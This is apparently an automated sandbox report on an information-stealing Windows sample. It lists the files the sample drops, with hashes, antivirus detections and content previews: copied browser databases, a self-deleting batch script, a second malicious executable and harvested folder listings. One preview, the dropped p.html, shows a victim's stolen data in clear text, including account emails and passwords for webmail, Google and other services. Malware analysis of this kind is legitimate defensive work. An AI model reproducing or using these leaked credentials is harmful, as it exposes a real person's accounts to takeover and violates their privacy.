Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\b187b7f31cee3e87b56c8edca55324e0\System.ni.dll",0..3,"System.Management, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Management\8af759007c012da690062882e06694f1\System.Management.ni.dll",0..3,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Drawing\567ff6b0de7f9dcd8111001e94ab7cf6\System.Drawing.ni.dll",0..3,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Windows.Forms\2a7fffeef3976b2a6f273db66b1f0107\System.Windows.Forms.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.3

C:\Users\user\AppData\Local\Temp\ndoyz5n0.3un

Download File

Process:	C:\Users\user\Desktop\HTZ4az17lj.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	98933
Entropy (8bit):	7.881342970875793
Encrypted:	false
SSDEEP:	3072:J0BxonNr/RpDGUr7FVYM54ct+olw8hyVGdbK:2BxGNr5pDGsbYMnZw8sVGtK
MD5:	29E767E6A327920AC25635FBD32B1992
SHA1:	15A8C705224EAC16F9E7CBC00544151B6B298936
SHA-256:	D3E2CB445D1B7F2FD290FEBD70CAEFD8C98BB5FAD7A243AD34622D02C5C441D6
SHA-512:	45D5E1AF0C57135B833C31152BB11667163DC34AB68DCE31686178673247044D7840C01E8343B7D0E62586E42D425AF7EC582974C17AFA483E991A726FEBBD06
Malicious:	false
Preview:	......JFIF.....`.`.....C................................... $.' ",#..(7),01444.'9=82<.342...C...........2!.!22222222222222222222222222222222222222222222222222..........."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?...(..?3...m..,.X.c.#....O..i.....w...._.#.z..p.....MR...%.f..r.....Uf.....?.2......S.]9o..s......T..W6.y.:.....CPWJi......%-....Z(.(..o.<-...OF.....j.#?........x..........#..........9.+..........e\.../n-.n.dh.c...k....1.q...y5..r..N.)W...O.d.QEw.!E.P11E-w....h.\_.... o1...Ob=Mr..K..6......X...]..p4W...........y?..?........<..Uy..t.......W.....u...gm&.f....

C:\Users\user\AppData\Local\Temp\p.html

Download File

Process:	C:\Users\user\Desktop\HTZ4az17lj.exe
File Type:	Unicode text, UTF-8 text, with CRLF line terminators
Category:	dropped
Size (bytes):	23884
Entropy (8bit):	5.200247887176705
Encrypted:	false
SSDEEP:	384:qLcXERGO6/2TDmSW23zIA5mQlVJWV0LPL5J0GstxbqkCEBTv+SdrgUxjYktuodSl:qLcXERGO6/2TDmSW23zIA5mQlfw0LPLP
MD5:	4E4349147D3CBBD440F7F3FAC5866FA6
SHA1:	563CF45B4395E64993A84665EFCB49B3775505B1
SHA-256:	732EFD30BFED7196474ADA4A5FFABC01F116BB2B3C68C099991F291AB0C6E325
SHA-512:	7F2E285507D699B1362BABCFF71B56E1DDD56FB819A27007F492B2276A10648AEF6E5880306A60E2D0265B57B999DFABFAE0CB7909A64CF9EEBC21F8FCB1A440
Malicious:	false
Preview:	Time: 09/04/2020 10:04:57<br>User Name: NEEKOU<br>Computer Name: DESKTOP-P86ET7O<br>OSFullName: Microsoft Windows 10 Home Single Language<br>CPU: Intel(R) Core(TM) i5-6200U CPU @ 2.30GHz<br>RAM: 8082,91 MB<br><hr>URL:https://webmail.claro.net.co/app/s/LoginPage.asp<br>..Username:rhmunozperez@telmex.net.co<br>..Password:otrebor45<br>..Application:Edge Chromium<br>..<hr>..URL:https://accounts.google.com/signin/v2/sl/pwd<br>..Username:rhmunozperez@telmex.net.co<br>..Password:otrebor45<br>..Application:Edge Chromium<br>..<hr>..URL:http://app.turboboy.co/users<br>..Username:8259074<br>..Password:rhmp1945<br>..Application:Edge Chromium<br>..<hr>..URL:https://www.miclaroapp.com.co/<br>..Username:rhmunozperez@telmex.net.co<br>..Password:Colombia2018<br>..Application:Edge Chromium<br>..<hr>..URL:https://www.directv.com.co/Midirectv/home/LogIn<br>..Username:rhmunozperez@telmex.net.co<br>..Password:otrebor45<br>..Application:Edge Chromium<br>..<hr>..URL:https://www.iclaro.com.hn/app/s/LoginPage.a

C:\Users\user\AppData\Local\Temp\places.raw

Download File

Process:	C:\Users\user\Desktop\HTZ4az17lj.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.03859996294213402
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWHxDSjENbx56p3DisuwAyHI:58r54w0VW3xWdkEFxcp3y/y
MD5:	D2A38A463B7925FE3ABE31ECCCE66ACA
SHA1:	A1824888F9E086439B287DEA497F660F3AA4B397
SHA-256:	474361353F00E89A9ECB246EC4662682392EBAF4F2A4BE9ABB68BBEBE33FA4A0
SHA-512:	62DB46A530D952568EFBFF7796106E860D07754530B724E0392862EF76FDF99043DA9538EC0044323C814DF59802C3BB55454D591362CB9B6E39947D11E981F7
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp3D76.tmp.dat

Download File

Process:	C:\Users\user\Desktop\HTZ4az17lj.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp59AE.tmp.dat

Download File

Process:	C:\Users\user\Desktop\HTZ4az17lj.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp59CE.tmp.dat

Download File

Process:	C:\Users\user\Desktop\HTZ4az17lj.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.5394293526345721
Encrypted:	false
SSDEEP:	96:AquejzH+bF+UIYysX0IxQzh/tsV0NifLjLqLy0e9S8E:AqtH+bF+UI3iN0RSV0k3qLyj9
MD5:	52701A76A821CDDBC23FB25C3FCA4968
SHA1:	440D4B5A38AF50711C5E6C6BE22D80BC17BF32DE
SHA-256:	D602B4D0B3EB9B51535F6EBA33709DCB881237FA95C5072CB39CECF0E06A0AC4
SHA-512:	2653C8DB9C20207FA7006BC9C63142B7C356FB9DC97F9184D60C75D987DC0848A8159C239E83E2FC9D45C522FEAE8D273CDCD31183DED91B8B587596183FC000
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp753B.tmp.dat

Download File

Process:	C:\Users\user\Desktop\HTZ4az17lj.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp754C.tmp.dat

Download File

Process:	C:\Users\user\Desktop\HTZ4az17lj.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.5394293526345721
Encrypted:	false
SSDEEP:	96:AquejzH+bF+UIYysX0IxQzh/tsV0NifLjLqLy0e9S8E:AqtH+bF+UI3iN0RSV0k3qLyj9
MD5:	52701A76A821CDDBC23FB25C3FCA4968
SHA1:	440D4B5A38AF50711C5E6C6BE22D80BC17BF32DE
SHA-256:	D602B4D0B3EB9B51535F6EBA33709DCB881237FA95C5072CB39CECF0E06A0AC4
SHA-512:	2653C8DB9C20207FA7006BC9C63142B7C356FB9DC97F9184D60C75D987DC0848A8159C239E83E2FC9D45C522FEAE8D273CDCD31183DED91B8B587596183FC000
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp756C.tmp.dat

Download File

Process:	C:\Users\user\Desktop\HTZ4az17lj.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.03859996294213402
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWHxDSjENbx56p3DisuwAyHI:58r54w0VW3xWdkEFxcp3y/y
MD5:	D2A38A463B7925FE3ABE31ECCCE66ACA
SHA1:	A1824888F9E086439B287DEA497F660F3AA4B397
SHA-256:	474361353F00E89A9ECB246EC4662682392EBAF4F2A4BE9ABB68BBEBE33FA4A0
SHA-512:	62DB46A530D952568EFBFF7796106E860D07754530B724E0392862EF76FDF99043DA9538EC0044323C814DF59802C3BB55454D591362CB9B6E39947D11E981F7
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp756D.tmp.dat

Download File

Process:	C:\Users\user\Desktop\HTZ4az17lj.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp90AB.tmp.dat

Download File

Process:	C:\Users\user\Desktop\HTZ4az17lj.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp90DB.tmp.dat

Download File

Process:	C:\Users\user\Desktop\HTZ4az17lj.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp90FB.tmp.dat

Download File

Process:	C:\Users\user\Desktop\HTZ4az17lj.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp911B.tmp.dat

Download File

Process:	C:\Users\user\Desktop\HTZ4az17lj.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 38, cookie 0x1f, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	155648
Entropy (8bit):	0.5407252242845243
Encrypted:	false
SSDEEP:	96:OgWyejzH+bDoYysX0IxQzZkHtpVJNlYDLjGQLBE3CeE0kE:OJhH+bDo3iN0Z2TVJkXBBE3yb
MD5:	7B955D976803304F2C0505431A0CF1CF
SHA1:	E29070081B18DA0EF9D98D4389091962E3D37216
SHA-256:	987FB9BFC2A84C4C605DCB339D4935B52A969B24E70D6DEAC8946BA9A2B432DC
SHA-512:	CE2F1709F39683BE4131125BED409103F5EDF1DED545649B186845817C0D69E3D0B832B236F7C4FC09AB7F7BB88E7C9F1E4F7047D1AF56D429752D4D8CBED47A
Malicious:	false
Preview:	SQLite format 3......@ .......&..................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpB2A0.tmp.bat

Download File

Process:	C:\Users\user\Desktop\HTZ4az17lj.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	69
Entropy (8bit):	4.718475137963169
Encrypted:	false
SSDEEP:	3:HFTEOuMJcFKso7Yi9lwBRZDEXyn:yOuMJNsUlweyn
MD5:	DCD731B6FD965A92663153A1593219A1
SHA1:	96DADC6E9C5A3575360043EED5576CF374AE3090
SHA-256:	8D58BA3B13120A713B797F9E1B7E67A6FA4F2B69EDD8103AD33C3578510D6EAF
SHA-512:	D0ED0B61C0B1C8A7CA325931F943B30BC66F6A41B6AB7AFCE31B13D78C5C52A8888862FCA0497F6F354C12F7A43C77A6D2F4905E040EA75C7365212CD5831ADF
Malicious:	false
Preview:	chcp 65001..TaskKill /F /IM 6044..Timeout /T 2 /Nobreak..Del /ah ""..

C:\Users\user\AppData\Local\Temp\uuhbr0xg.h20.exe

Download File

Process:	C:\Users\user\Desktop\HTZ4az17lj.exe
File Type:	PE32+ executable (GUI) x86-64 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	69136
Entropy (8bit):	6.235868714087531
Encrypted:	false
SSDEEP:	1536:j+wPW51r8EHsL71ELMt/RYKiq4vo/1oHHbwr/Ye2WcMX6F8:j+wIiEH+u4/O1HHbwse2SXE8
MD5:	CEB9E6829D00AD6E8F25B30D77ABA83F
SHA1:	865128C3A9BAEE65DEEAB14F1FDC9A68969DF6F4
SHA-256:	664582C7357C0EA9F0F6AB524867E1CCE887251B11E917BA5C9D81247E57BCB1
SHA-512:	18703D353319CBD049DFE3D19469EEF2EF26615E44101ECA43D1C7DA515553D2C98E8098E5D2CFBF1C32984D77846DEC320223EA4B8189CA9F64D570E7EA0CA2
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 45% Antivirus: Virustotal, Detection: 56%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d....t.e.........."...0.................. .....@..... .......................@............`...@......@............... ...................................,........................................................................................... ..H............text........ ...................... ..`.rsrc....,..........................@..@........................................H.......D....E...........:..4}..........................................~r...p.....r...p.....r-..p.......("....~....-#r=..p(.........(#...o$...s%........~.....~...........~(....ro..p(....~....o&...t...."..(....~s7......o8... ....Z(9....(:...R(....-.(....,.(.....~.....~.....~.....~.....~.....s<...%.}......=...s....s....%.o....o....*..0...............(........~....(....~....o....s.... ...o........s....% ....o.....% ....o.................(....~....o....o............s.....

C:\Users\user\AppData\Local\Temp\uuhbr0xg.h20.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\HTZ4az17lj.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	false
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\AppData\Local\Temp\xqyyhqif.f3j

Download File

Process:	C:\Users\user\AppData\Local\Temp\uuhbr0xg.h20.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	138377
Entropy (8bit):	7.793695325539214
Encrypted:	false
SSDEEP:	3072:mwddRPcWEqxp6EBUsCmigOQEeHZIuLD41:mQ8Exp6E2npAWoD41
MD5:	66FE3C72E7C974582AA2850DF652FD25
SHA1:	42D29332B5C779839493EAAF4E15F879F982896C
SHA-256:	228B423CA7BEA6033B64178DB0C5CB5021623A680E9A2DE5F2FAAC419440503F
SHA-512:	BD456EAC575EE91F51FD5E513BE60153A886F6B4F4559F804A19C1EB5D32CCC27B4B6DAA7C742E66081895FAB7BE15D96861D4A54162D7583E08D0329A525416
Malicious:	false
Preview:	......JFIF.....`.`.....C................................... $.' ",#..(7),01444.'9=82<.342...C...........2!.!22222222222222222222222222222222222222222222222222..........."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....Hc..............z.g..E.....-$o.?..\..<K.?..@.j..t..KT.Q.).......P...3.E.=.;..c...q.Q....n.mlc.]..o.$..@...<.`O......w....6.l..B.... *.z0..^'.m-V..;F..-.t..W'.Np09=..5./.iQH...#...Zu.(.....H..-..)43.5.O..R.(..Pwg9.@.....(...(...(...(...(...(...(...(...(....i..j/....R..h....A.F..Zj.].2.Gm'..m..p.........t.3.....+z.j..QEc....G._..?.5...~~U\|.~)...(...(

C:\Users\user\AppData\Local\d0d733758fee67ef1333def91e74c359\user@226533_en-CH\Browsers\Firefox\Bookmarks.txt

Download File

Process:	C:\Users\user\Desktop\HTZ4az17lj.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	105
Entropy (8bit):	3.8863455911790052
Encrypted:	false
SSDEEP:	3:RGtjybXLGSWK+ZjMGvRS3ZMz9GSOLj2SjyRE2qJ:hvWF7Ipg9OL2RE2m
MD5:	2E9D094DDA5CDC3CE6519F75943A4FF4
SHA1:	5D989B4AC8B699781681FE75ED9EF98191A5096C
SHA-256:	C84C98BBF5E0EF9C8D0708B5D60C5BB656B7D6BE5135D7F7A8D25557E08CF142
SHA-512:	D1F7EED00959E902BDB2125B91721460D3FF99F3BDFC1F2A343D4F58E8D4E5E5A06C0C6CDC0379211C94510F7C00D7A8B34FA7D0CA0C3D54CBBE878F1E9812B7
Malicious:	false
Preview:	### Get Help ###.### Customize Firefox ###.### Get Involved ###.### About Us ###.### Getting Started ###.

C:\Users\user\AppData\Local\d0d733758fee67ef1333def91e74c359\user@226533_en-CH\Browsers\Firefox\History.txt

Download File

Process:	C:\Users\user\Desktop\HTZ4az17lj.exe
File Type:	Unicode text, UTF-8 text
Category:	dropped
Size (bytes):	94
Entropy (8bit):	4.886397362842801
Encrypted:	false
SSDEEP:	3:RGEnGPHA9lfMJJEFAN2DSLvIJiMhKVX3L2WdXuvn:DG/CF0EFAN2OLciA8d+v
MD5:	61CDD7492189720D58F6C5C975D6DFBD
SHA1:	6966AFE0DEC5B0ABD90291FA12C0F6B7EF73ED43
SHA-256:	2F345865397FF1952921DB0588A6B589BAF30E67A90E11F7064E515AC162E862
SHA-512:	20D5A1C9809DF4F5B9C789042E5B88928A5246F9EB44F9D265CA3AA6FC9544A582B758ECAF6BBB0E9CEE149BD0AAC5E6C63D954541D1B23A7FC11894121CC0AE
Malicious:	false
Preview:	### Firefox Privacy Notice . Mozilla ### (https://www.mozilla.org/en-US/privacy/firefox/) 1.

C:\Users\user\AppData\Local\d0d733758fee67ef1333def91e74c359\user@226533_en-CH\Directories\Desktop.txt

Download File

Process:	C:\Users\user\Desktop\HTZ4az17lj.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1077
Entropy (8bit):	5.247155412664449
Encrypted:	false
SSDEEP:	24:+5RGs0enyFcz/ZyM3Iym1vQ0iCznwQ5xLNG9u983me/MPIJHmI57lF:+58zenCc7ZR3IyPgzZRg9ui3mEMPiB7P
MD5:	AF0AB1160C9F604090B9A21A4328E09B
SHA1:	77590609A4209D459CA306CFD9A252CC11832CAB
SHA-256:	F50A4C9750709B85755D16278E14732D5572290D756883330B7B2EF5AF0F800B
SHA-512:	DBFBB2D6A62D3CF0BF00BF6812BBFF437B2681DDE4C73F60F482BB623B6825133EA7F48115C082CF7AB6077041AC38818CEBE945303EE9A9B4495C86FC331E6F
Malicious:	false
Preview:	Desktop\...AQRFEVRTGL\...BJZFPPWAPT\...BNAGMGSPLO\....BJZFPPWAPT.jpg....BNAGMGSPLO.docx....DUUDTUBZFW.png....EEGWXUHVUG.xlsx....EFOYFBOLXA.pdf....ZGGKNSUKOP.mp3...EWZCVGNOWT\...GLTYDMDUST\...GRXZDKKVDB\...KLIZUSIQEN\...NVWZAPQSQL\....EIVQSAOTAQ.pdf....NVWZAPQSQL.docx....PALRGUCVEH.xlsx....TQDFJHPUIU.jpg....UNKRLCVOHV.mp3....ZIPXYXWIOY.png...PIVFAGEAAV\....BNAGMGSPLO.xlsx....EEGWXUHVUG.jpg....EFOYFBOLXA.mp3....NVWZAPQSQL.png....PIVFAGEAAV.docx....SQSJKEBWDT.pdf...SNIPGPPREP\...SQSJKEBWDT\....EFOYFBOLXA.xlsx....GIGIYTFFYT.png....JDDHMPCDUJ.mp3....PALRGUCVEH.pdf....SQSJKEBWDT.docx....ZGGKNSUKOP.jpg...ZIPXYXWIOY\...BJZFPPWAPT.jpg...BJZFPPWAPT.xlsx...BNAGMGSPLO.docx...BNAGMGSPLO.xlsx...desktop.ini...DUUDTUBZFW.png...EEGWXUHVUG.docx...EEGWXUHVUG.jpg...EEGWXUHVUG.xlsx...EFOYFBOLXA.mp3...EFOYFBOLXA.pdf...EFOYFBOLXA.xlsx...EIVQSAOTAQ.pdf...Excel.lnk...GIGIYTFFYT.png...HTZ4az17lj.exe...JDDHMPCDUJ.mp3...NVWZAPQSQL.png...PALRGUCVEH.pdf...PIVFAGEAAV.docx...SQSJKEBWDT.docx...SQSJKEBWDT.pdf...TQDFJHP

C:\Users\user\AppData\Local\d0d733758fee67ef1333def91e74c359\user@226533_en-CH\Directories\Documents.txt

Download File

Process:	C:\Users\user\Desktop\HTZ4az17lj.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1202
Entropy (8bit):	5.345401295762301
Encrypted:	false
SSDEEP:	24:45RGs0enyFc6xrqEEW/ZyM3Iym1vQ0iCznwQ5yNG9f983me/IlsHucn57lF:458zenCc6BqEEcZR3IyPgzZyg9fi3mE9
MD5:	27EB37DF4F19290FEA7739DC229D26EF
SHA1:	5C8CEB6D98847ABA420025BBA0344F289133AF5C
SHA-256:	F2FA2E02008C59DC095D027B7A4534430F4CA9FDB41976E5165E3FF2A373D4E9
SHA-512:	65234AA446573CFA270CE47835A3A03A1D8A363B86D7B49F8950572596743FA70FB6522B6B2E927142D336088AD492444A47CCE40246D7DAF402708B5754836F
Malicious:	false
